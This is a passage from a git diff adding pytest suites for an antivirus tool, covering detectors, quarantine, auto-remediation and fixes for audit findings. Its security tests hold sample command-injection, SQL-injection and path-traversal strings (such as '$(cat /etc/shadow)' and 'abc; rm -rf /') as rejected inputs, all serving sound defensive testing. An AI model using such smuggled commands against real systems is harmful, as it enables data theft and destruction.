test_heuristic_suspicious_strings(tmp_path): + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + malicious = tmp_path / "evil.php" + malicious.write_text("") + detector = HeuristicDetector() + results = detector.detect(str(malicious)) + assert len(results) > 0 + +def test_cryptominer_detector_import(): + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + detector = CryptominerDetector() + assert detector is not None + +def test_cryptominer_stratum_detection(tmp_path): + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + miner_config = tmp_path / "config.json" + miner_config.write_text('{"url": "stratum+tcp://pool.minexmr.com:4444", "user": "wallet123"}') + detector = CryptominerDetector() + results = detector.detect(str(miner_config)) + assert len(results) > 0 + +def test_spyware_detector_import(): + from ayn_antivirus.detectors.spyware_detector import SpywareDetector + detector = SpywareDetector() + assert detector is not None + +def test_rootkit_detector_import(): + from ayn_antivirus.detectors.rootkit_detector import RootkitDetector + detector = RootkitDetector() + assert detector is not None + +def test_signature_detector_import(): + from ayn_antivirus.detectors.signature_detector import SignatureDetector + assert SignatureDetector is not None + +def test_yara_detector_graceful(): + from ayn_antivirus.detectors.yara_detector import YaraDetector + detector = YaraDetector() + assert detector is not None diff --git a/ayn-antivirus/tests/test_engine.py b/ayn-antivirus/tests/test_engine.py new file mode 100644 index 0000000..cf8e8f2 --- /dev/null +++ b/ayn-antivirus/tests/test_engine.py @@ -0,0 +1,61 @@ +import os +import tempfile +import pytest +from datetime import datetime +from ayn_antivirus.core.engine import ( + ThreatType, Severity, ScanType, ThreatInfo, + ScanResult, FileScanResult, ScanEngine +) +from ayn_antivirus.core.event_bus import EventBus, EventType + +def test_threat_type_enum(): + assert ThreatType.VIRUS.value is not None + assert ThreatType.MINER.value is not None + +def test_severity_enum(): + assert Severity.CRITICAL.value is not None + assert Severity.LOW.value is not None + +def test_threat_info_creation(): + threat = ThreatInfo( + path="/tmp/evil.sh", + threat_name="TestMalware", + threat_type=ThreatType.MALWARE, + severity=Severity.HIGH, + detector_name="test", + details="Test detection", + file_hash="abc123" + ) + assert threat.path == "/tmp/evil.sh" + assert threat.threat_type == ThreatType.MALWARE + +def test_scan_result_creation(): + result = ScanResult( + scan_id="test-123", + start_time=datetime.now(), + end_time=datetime.now(), + files_scanned=100, + files_skipped=5, + threats=[], + scan_path="/tmp", + scan_type=ScanType.QUICK + ) + assert result.files_scanned == 100 + assert len(result.threats) == 0 + +def test_event_bus(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: received.append(data)) + bus.publish(EventType.THREAT_FOUND, {"test": True}) + assert len(received) == 1 + assert received[0]["test"] == True + +def test_scan_clean_file(tmp_path): + clean_file = tmp_path / "clean.txt" + clean_file.write_text("This is a perfectly normal text file with nothing suspicious.") + from ayn_antivirus.config import Config + config = Config() + engine = ScanEngine(config) + result = engine.scan_file(str(clean_file)) + assert isinstance(result, FileScanResult) diff --git a/ayn-antivirus/tests/test_event_bus.py b/ayn-antivirus/tests/test_event_bus.py new file mode 100644 index 0000000..ebaf807 --- /dev/null +++ b/ayn-antivirus/tests/test_event_bus.py @@ -0,0 +1,117 @@ +"""Tests for the event bus pub/sub system.""" +import pytest + +from ayn_antivirus.core.event_bus import EventBus, EventType + + +def test_subscribe_and_publish(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: received.append(data)) + bus.publish(EventType.THREAT_FOUND, {"test": True}) + assert len(received) == 1 + assert received[0]["test"] is True + + +def test_multiple_subscribers(): + bus = EventBus() + r1, r2 = [], [] + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r1.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r2.append(d)) + bus.publish(EventType.SCAN_STARTED, "go") + assert len(r1) == 1 + assert len(r2) == 1 + + +def test_unsubscribe(): + bus = EventBus() + received = [] + cb = lambda et, d: received.append(d) + bus.subscribe(EventType.FILE_SCANNED, cb) + bus.unsubscribe(EventType.FILE_SCANNED, cb) + bus.publish(EventType.FILE_SCANNED, "data") + assert len(received) == 0 + + +def test_unsubscribe_nonexistent(): + """Unsubscribing a callback that was never registered should not crash.""" + bus = EventBus() + bus.unsubscribe(EventType.FILE_SCANNED, lambda et, d: None) + + +def test_publish_no_subscribers(): + """Publishing with no subscribers should not crash.""" + bus = EventBus() + bus.publish(EventType.SCAN_COMPLETED, "no crash") + + +def test_subscriber_exception_isolated(): + """A failing subscriber must not prevent other subscribers from running.""" + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: 1 / 0) # will raise + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: received.append(d)) + bus.publish(EventType.THREAT_FOUND, "data") + assert len(received) == 1 + + +def test_all_event_types(): + """Every EventType value can be published without error.""" + bus = EventBus() + for et in EventType: + bus.publish(et, None) + + +def test_clear_all(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: received.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: received.append(d)) + bus.clear() + bus.publish(EventType.THREAT_FOUND, "a") + bus.publish(EventType.SCAN_STARTED, "b") + assert len(received) == 0 + + +def test_clear_single_event(): + bus = EventBus() + r1, r2 = [], [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: r1.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r2.append(d)) + bus.clear(EventType.THREAT_FOUND) + bus.publish(EventType.THREAT_FOUND, "a") + bus.publish(EventType.SCAN_STARTED, "b") + assert len(r1) == 0 # cleared + assert len(r2) == 1 # still active + + +def test_callback_receives_event_type(): + """Callback receives (event_type, data) — verify event_type is correct.""" + bus = EventBus() + calls = [] + bus.subscribe(EventType.QUARANTINE_ACTION, lambda et, d: calls.append((et, d))) + bus.publish(EventType.QUARANTINE_ACTION, "payload") + assert calls[0][0] is EventType.QUARANTINE_ACTION + assert calls[0][1] == "payload" + + +def test_duplicate_subscribe(): + """Subscribing the same callback twice should only register it once.""" + bus = EventBus() + received = [] + cb = lambda et, d: received.append(d) + bus.subscribe(EventType.SCAN_COMPLETED, cb) + bus.subscribe(EventType.SCAN_COMPLETED, cb) + bus.publish(EventType.SCAN_COMPLETED, "x") + assert len(received) == 1 + + +def test_event_type_values(): + """All expected event types exist.""" + expected = { + "THREAT_FOUND", "SCAN_STARTED", "SCAN_COMPLETED", "FILE_SCANNED", + "SIGNATURE_UPDATED", "QUARANTINE_ACTION", "REMEDIATION_ACTION", + "DASHBOARD_METRIC", + } + actual = {et.name for et in EventType} + assert expected == actual diff --git a/ayn-antivirus/tests/test_monitor.py b/ayn-antivirus/tests/test_monitor.py new file mode 100644 index 0000000..e00d063 --- /dev/null +++ b/ayn-antivirus/tests/test_monitor.py @@ -0,0 +1,95 @@ +"""Tests for real-time monitor.""" +import pytest +import time +from ayn_antivirus.monitor.realtime import RealtimeMonitor +from ayn_antivirus.core.engine import ScanEngine +from ayn_antivirus.config import Config + + +@pytest.fixture +def monitor(tmp_path): + config = Config() + engine = ScanEngine(config) + m = RealtimeMonitor(config, engine) + yield m + if m.is_running: + m.stop() + + +def test_monitor_init(monitor): + assert monitor is not None + assert monitor.is_running is False + + +def test_monitor_should_skip(): + """Temporary / lock / editor files should be skipped.""" + config = Config() + engine = ScanEngine(config) + m = RealtimeMonitor(config, engine) + + assert m._should_skip("/tmp/test.tmp") is True + assert m._should_skip("/tmp/test.swp") is True + assert m._should_skip("/tmp/test.lock") is True + assert m._should_skip("/tmp/.#backup") is True + assert m._should_skip("/tmp/test.part") is True + + assert m._should_skip("/tmp/test.txt") is False + assert m._should_skip("/tmp/test.py") is False + assert m._should_skip("/var/www/index.html") is False + + +def test_monitor_debounce(monitor): + """After the first call records the path, an immediate repeat is debounced.""" + import time as _time + + # Prime the path so it's recorded with the current monotonic time. + # On fresh processes, monotonic() can be close to 0.0 which is the + # default in _recent, so we explicitly set a realistic timestamp. + monitor._recent["/tmp/test.txt"] = _time.monotonic() - 10 + assert monitor._is_debounced("/tmp/test.txt") is False + # Immediate second call should be debounced (within 2s window) + assert monitor._is_debounced("/tmp/test.txt") is True + + +def test_monitor_debounce_different_paths(monitor): + """Different paths should not debounce each other.""" + import time as _time + + # Prime both paths far enough in the past to avoid the initial-value edge case + past = _time.monotonic() - 10 + monitor._recent["/tmp/a.txt"] = past + monitor._recent["/tmp/b.txt"] = past + assert monitor._is_debounced("/tmp/a.txt") is False + assert monitor._is_debounced("/tmp/b.txt") is False + + +def test_monitor_start_stop(tmp_path, monitor): + monitor.start(paths=[str(tmp_path)], recursive=True) + assert monitor.is_running is True + time.sleep(0.3) + monitor.stop() + assert monitor.is_running is False + + +def test_monitor_double_start(tmp_path, monitor): + """Starting twice should be harmless.""" + monitor.start(paths=[str(tmp_path)]) + assert monitor.is_running is True + monitor.start(paths=[str(tmp_path)]) # Should log warning, not crash + assert monitor.is_running is True + monitor.stop() + + +def test_monitor_stop_when_not_running(monitor): + """Stopping when not running should be harmless.""" + assert monitor.is_running is False + monitor.stop() + assert monitor.is_running is False + + +def test_monitor_nonexistent_path(monitor): + """Non-existent paths should be skipped without crash.""" + monitor.start(paths=["/nonexistent/path/xyz123"]) + # Should still be running (observer started, just no schedules) + assert monitor.is_running is True + monitor.stop() diff --git a/ayn-antivirus/tests/test_patcher.py b/ayn-antivirus/tests/test_patcher.py new file mode 100644 index 0000000..bef8cac --- /dev/null +++ b/ayn-antivirus/tests/test_patcher.py @@ -0,0 +1,139 @@ +"""Tests for auto-patcher.""" +import pytest +import os +import stat +from ayn_antivirus.remediation.patcher import AutoPatcher, RemediationAction + + +def test_patcher_init(): + p = AutoPatcher(dry_run=True) + assert p.dry_run is True + assert p.actions == [] + + +def test_patcher_init_live(): + p = AutoPatcher(dry_run=False) + assert p.dry_run is False + + +def test_fix_permissions_dry_run(tmp_path): + f = tmp_path / "test.sh" + f.write_text("#!/bin/bash") + f.chmod(0o4755) # SUID + p = AutoPatcher(dry_run=True) + action = p.fix_permissions(str(f)) + assert action is not None + assert action.success is True + assert action.dry_run is True + # In dry run, file should still have SUID + assert f.stat().st_mode & stat.S_ISUID + + +def test_fix_permissions_real(tmp_path): + f = tmp_path / "test.sh" + f.write_text("#!/bin/bash") + f.chmod(0o4755) # SUID + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + # SUID should be stripped + assert not (f.stat().st_mode & stat.S_ISUID) + + +def test_fix_permissions_already_safe(tmp_path): + f = tmp_path / "safe.txt" + f.write_text("hello") + f.chmod(0o644) + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert "already safe" in action.details + + +def test_fix_permissions_sgid(tmp_path): + f = tmp_path / "sgid.sh" + f.write_text("#!/bin/bash") + f.chmod(0o2755) # SGID + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert not (f.stat().st_mode & stat.S_ISGID) + + +def test_fix_permissions_world_writable(tmp_path): + f = tmp_path / "ww.txt" + f.write_text("data") + f.chmod(0o777) # World-writable + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert not (f.stat().st_mode & stat.S_IWOTH) + + +def test_block_domain_dry_run(): + p = AutoPatcher(dry_run=True) + action = p.block_domain("evil.example.com") + assert action is not None + assert action.success is True + assert action.dry_run is True + assert "evil.example.com" in action.target + + +def test_block_ip_dry_run(): + p = AutoPatcher(dry_run=True) + action = p.block_ip("1.2.3.4") + assert action.success is True + assert action.dry_run is True + assert "1.2.3.4" in action.target + + +def test_remediate_threat_dry_run(tmp_path): + # Create a dummy file + f = tmp_path / "malware.bin" + f.write_text("evil_payload") + f.chmod(0o4755) + + p = AutoPatcher(dry_run=True) + threat = { + "path": str(f), + "threat_name": "Test.Malware", + "threat_type": "MALWARE", + "severity": "HIGH", + } + actions = p.remediate_threat(threat) + assert isinstance(actions, list) + assert len(actions) >= 1 + # Should have at least a fix_permissions action + action_names = [a.action for a in actions] + assert "fix_permissions" in action_names + + +def test_remediate_threat_miner_with_domain(): + p = AutoPatcher(dry_run=True) + threat = { + "threat_type": "MINER", + "domain": "pool.evil.com", + "ip": "1.2.3.4", + } + actions = p.remediate_threat(threat) + action_names = [a.action for a in actions] + assert "block_domain" in action_names + assert "block_ip" in action_names + + +def test_remediation_action_dataclass(): + a = RemediationAction( + action="test_action", target="/tmp/test", details="testing", + success=True, dry_run=True, + ) + assert a.action == "test_action" + assert a.target == "/tmp/test" + assert a.success is True + assert a.dry_run is True + + +def test_fix_ld_preload_missing(): + """ld.so.preload doesn't exist — should succeed gracefully.""" + p = AutoPatcher(dry_run=True) + action = p.fix_ld_preload() + assert action.success is True diff --git a/ayn-antivirus/tests/test_quarantine.py b/ayn-antivirus/tests/test_quarantine.py new file mode 100644 index 0000000..03eb578 --- /dev/null +++ b/ayn-antivirus/tests/test_quarantine.py @@ -0,0 +1,50 @@ +import os +import pytest +from ayn_antivirus.quarantine.vault import QuarantineVault + +def test_quarantine_and_restore(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "malware.txt" + test_file.write_text("this is malicious content") + + threat_info = { + "threat_name": "TestVirus", + "threat_type": "virus", + "severity": "high" + } + qid = vault.quarantine_file(str(test_file), threat_info) + assert qid is not None + assert not test_file.exists() + assert vault.count() == 1 + + restore_path = tmp_path / "restored.txt" + vault.restore_file(qid, str(restore_path)) + assert restore_path.exists() + assert restore_path.read_text() == "this is malicious content" + +def test_quarantine_list(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "test.txt" + test_file.write_text("content") + vault.quarantine_file(str(test_file), {"threat_name": "Test", "threat_type": "virus", "severity": "low"}) + + items = vault.list_quarantined() + assert len(items) == 1 + +def test_quarantine_delete(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "test.txt" + test_file.write_text("content") + qid = vault.quarantine_file(str(test_file), {"threat_name": "Test", "threat_type": "virus", "severity": "low"}) + + assert vault.delete_file(qid) == True + assert vault.count() == 0 diff --git a/ayn-antivirus/tests/test_reports.py b/ayn-antivirus/tests/test_reports.py new file mode 100644 index 0000000..c56d3aa --- /dev/null +++ b/ayn-antivirus/tests/test_reports.py @@ -0,0 +1,54 @@ +import json +import pytest +from datetime import datetime +from ayn_antivirus.core.engine import ScanResult, ScanType, ThreatInfo, ThreatType, Severity +from ayn_antivirus.reports.generator import ReportGenerator + +def _make_scan_result(): + return ScanResult( + scan_id="test-001", + start_time=datetime.now(), + end_time=datetime.now(), + files_scanned=500, + files_skipped=10, + threats=[ + ThreatInfo( + path="/tmp/evil.sh", + threat_name="ReverseShell", + threat_type=ThreatType.MALWARE, + severity=Severity.CRITICAL, + detector_name="heuristic", + details="Reverse shell detected", + file_hash="abc123" + ) + ], + scan_path="/tmp", + scan_type=ScanType.FULL + ) + +def test_text_report(): + gen = ReportGenerator() + result = _make_scan_result() + text = gen.generate_text(result) + assert "AYN ANTIVIRUS" in text + assert "ReverseShell" in text + +def test_json_report(): + gen = ReportGenerator() + result = _make_scan_result() + j = gen.generate_json(result) + data = json.loads(j) + assert data["summary"]["total_threats"] == 1 + +def test_html_report(): + gen = ReportGenerator() + result = _make_scan_result() + html = gen.generate_html(result) + assert "= 2 + + +def test_schedule_update(): + config = Config() + s = Scheduler(config) + s.schedule_update(interval_hours=6) + jobs = s._scheduler.get_jobs() + assert len(jobs) >= 1 + + +def test_parse_cron_field_literal(): + assert _parse_cron_field("5", 0, 59) == [5] + + +def test_parse_cron_field_comma(): + assert _parse_cron_field("1,3,5", 0, 59) == [1, 3, 5] + + +def test_parse_cron_field_wildcard(): + result = _parse_cron_field("*", 0, 6) + assert result == [0, 1, 2, 3, 4, 5, 6] diff --git a/ayn-antivirus/tests/test_security.py b/ayn-antivirus/tests/test_security.py new file mode 100644 index 0000000..b0134ee --- /dev/null +++ b/ayn-antivirus/tests/test_security.py @@ -0,0 +1,197 @@ +"""Security tests — validate fixes for audit findings.""" +import os +import tempfile + +import pytest + + +# ----------------------------------------------------------------------- +# Fix 2: SQL injection in ioc_db._count() +# ----------------------------------------------------------------------- + +class TestIOCTableWhitelist: + @pytest.fixture(autouse=True) + def setup_db(self, tmp_path): + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + self.db = IOCDatabase(tmp_path / "test_ioc.db") + self.db.initialize() + yield + self.db.close() + + def test_valid_tables(self): + for table in ("ioc_ips", "ioc_domains", "ioc_urls"): + assert self.db._count(table) >= 0 + + def test_injection_blocked(self): + with pytest.raises(ValueError, match="Invalid table"): + self.db._count("ioc_ips; DROP TABLE ioc_ips; --") + + def test_arbitrary_table_blocked(self): + with pytest.raises(ValueError, match="Invalid table"): + self.db._count("evil_table") + + def test_valid_tables_frozenset(self): + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + assert isinstance(IOCDatabase._VALID_TABLES, frozenset) + assert IOCDatabase._VALID_TABLES == {"ioc_ips", "ioc_domains", "ioc_urls"} + + +# ----------------------------------------------------------------------- +# Fix 4: Quarantine ID path traversal +# ----------------------------------------------------------------------- + +class TestQuarantineIDValidation: + @pytest.fixture(autouse=True) + def setup_vault(self, tmp_path): + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.vault = QuarantineVault( + tmp_path / "vault", tmp_path / "vault" / ".key" + ) + + def test_traversal_blocked(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("../../etc/passwd") + + def test_too_short(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("abc") + + def test_too_long(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("a" * 33) + + def test_non_hex(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG") + + def test_uppercase_hex_rejected(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("A" * 32) + + def test_valid_id(self): + assert self.vault._validate_qid("a" * 32) == "a" * 32 + assert self.vault._validate_qid("0123456789abcdef" * 2) == "0123456789abcdef" * 2 + + def test_whitespace_stripped(self): + padded = " " + "a" * 32 + " " + assert self.vault._validate_qid(padded) == "a" * 32 + + +# ----------------------------------------------------------------------- +# Fix 3: Quarantine restore path traversal +# ----------------------------------------------------------------------- + +class TestRestorePathValidation: + @pytest.fixture(autouse=True) + def setup_vault(self, tmp_path): + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.vault = QuarantineVault( + tmp_path / "vault", tmp_path / "vault" / ".key" + ) + + def test_etc_blocked(self): + with pytest.raises(ValueError, match="protected path"): + self.vault._validate_restore_path("/etc/shadow") + + def test_usr_bin_blocked(self): + with pytest.raises(ValueError, match="protected path"): + self.vault._validate_restore_path("/usr/bin/evil") + + def test_cron_blocked(self): + with pytest.raises(ValueError, match="Refusing to restore"): + self.vault._validate_restore_path("/etc/cron.d/backdoor") + + def test_systemd_blocked(self): + with pytest.raises(ValueError, match="Refusing to restore"): + self.vault._validate_restore_path("/etc/systemd/system/evil.service") + + def test_safe_path_allowed(self): + result = self.vault._validate_restore_path("/tmp/restored.txt") + assert result.name == "restored.txt" + + +# ----------------------------------------------------------------------- +# Fix 5: Container scanner command injection +# ----------------------------------------------------------------------- + +class TestContainerIDSanitization: + @pytest.fixture(autouse=True) + def setup_scanner(self): + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + self.scanner = ContainerScanner() + + def test_semicolon_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc; rm -rf /") + + def test_dollar_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("$(cat /etc/shadow)") + + def test_backtick_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("`whoami`") + + def test_pipe_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc|cat /etc/passwd") + + def test_ampersand_injection(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("abc && echo pwned") + + def test_empty_rejected(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("") + + def test_too_long_rejected(self): + with pytest.raises(ValueError): + self.scanner._sanitize_id("a" * 200) + + def test_valid_ids(self): + assert self.scanner._sanitize_id("abc123") == "abc123" + assert self.scanner._sanitize_id("my-container") == "my-container" + assert self.scanner._sanitize_id("web_app.v2") == "web_app.v2" + assert self.scanner._sanitize_id("a1b2c3d4e5f6") == "a1b2c3d4e5f6" + + +# ----------------------------------------------------------------------- +# Fix 6: Config key validation +# ----------------------------------------------------------------------- + +def test_config_key_whitelist_in_cli(): + """The config --set handler should reject unknown keys. + + We verify by inspecting the CLI module source for the VALID_CONFIG_KEYS + set and its guard clause, since it's defined inside a Click command body. + """ + import inspect + import ayn_antivirus.cli as cli_mod + + src = inspect.getsource(cli_mod) + assert "VALID_CONFIG_KEYS" in src + assert '"scan_paths"' in src + assert '"dashboard_port"' in src + # Verify the guard clause exists + assert "if key not in VALID_CONFIG_KEYS" in src + + +# ----------------------------------------------------------------------- +# Fix 9: API query param validation +# ----------------------------------------------------------------------- + +def test_safe_int_helper(): + from ayn_antivirus.dashboard.api import _safe_int + + assert _safe_int("50", 10) == 50 + assert _safe_int("abc", 10) == 10 + assert _safe_int("", 10) == 10 + assert _safe_int(None, 10) == 10 + assert _safe_int("-5", 10, min_val=1) == 1 + assert _safe_int("9999", 10, max_val=500) == 500 + assert _safe_int("0", 10, min_val=1) == 1 diff --git a/ayn-antivirus/tests/test_signatures.py b/ayn-antivirus/tests/test_signatures.py new file mode 100644 index 0000000..8b65346 --- /dev/null +++ b/ayn-antivirus/tests/test_signatures.py @@ -0,0 +1,53 @@ +import os +import tempfile +import pytest +from ayn_antivirus.signatures.db.hash_db import HashDatabase +from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + +def test_hash_db_create(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + assert db.count() == 0 + db.close() + +def test_hash_db_add_and_lookup(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_hash("abc123hash", "TestMalware", "virus", "high", "test") + result = db.lookup("abc123hash") + assert result is not None + assert result["threat_name"] == "TestMalware" + db.close() + +def test_hash_db_bulk_add(tmp_path): + db = HashDatabase(str(tmp_path / "test.db")) + db.initialize() + records = [ + ("hash1", "Malware1", "virus", "high", "test", ""), + ("hash2", "Malware2", "malware", "medium", "test", ""), + ("hash3", "Miner1", "miner", "high", "test", ""), + ] + count = db.bulk_add(records) + assert count == 3 + assert db.count() == 3 + db.close() + +def test_ioc_db_ips(tmp_path): + db = IOCDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_ip("1.2.3.4", "BotnetC2", "c2", "feodo") + result = db.lookup_ip("1.2.3.4") + assert result is not None + ips = db.get_all_malicious_ips() + assert "1.2.3.4" in ips + db.close() + +def test_ioc_db_domains(tmp_path): + db = IOCDatabase(str(tmp_path / "test.db")) + db.initialize() + db.add_domain("evil.com", "Phishing", "phishing", "threatfox") + result = db.lookup_domain("evil.com") + assert result is not None + domains = db.get_all_malicious_domains() + assert "evil.com" in domains + db.close() diff --git a/ayn-antivirus/tests/test_utils.py b/ayn-antivirus/tests/test_utils.py new file mode 100644 index 0000000..e79d376 --- /dev/null +++ b/ayn-antivirus/tests/test_utils.py @@ -0,0 +1,49 @@ +import os +import tempfile +import pytest +from ayn_antivirus.utils.helpers import ( + format_size, format_duration, is_root, validate_ip, + validate_domain, generate_id, hash_file, safe_path +) + +def test_format_size(): + assert format_size(0) == "0.0 B" + assert format_size(1024) == "1.0 KB" + assert format_size(1048576) == "1.0 MB" + assert format_size(1073741824) == "1.0 GB" + +def test_format_duration(): + assert "0s" in format_duration(0) or "0" in format_duration(0) + result = format_duration(3661) + assert "1h" in result + assert "1m" in result + +def test_validate_ip(): + assert validate_ip("192.168.1.1") == True + assert validate_ip("10.0.0.1") == True + assert validate_ip("999.999.999.999") == False + assert validate_ip("not-an-ip") == False + assert validate_ip("") == False + +def test_validate_domain(): + assert validate_domain("example.com") == True + assert validate_domain("sub.example.com") == True + assert validate_domain("") == False + +def test_generate_id(): + id1 = generate_id() + id2 = generate_id() + assert isinstance(id1, str) + assert len(id1) == 32 + assert id1 != id2 + +def test_hash_file(tmp_path): + f = tmp_path / "test.txt" + f.write_text("hello world") + h = hash_file(str(f)) + assert isinstance(h, str) + assert len(h) == 64 # sha256 hex + +def test_safe_path(tmp_path): + result = safe_path(str(tmp_path)) + assert result is not None diff --git a/hub-check.png b/hub-check.png new file mode 100644 index 0000000..4b3067d Binary files /dev/null and b/hub-check.png differ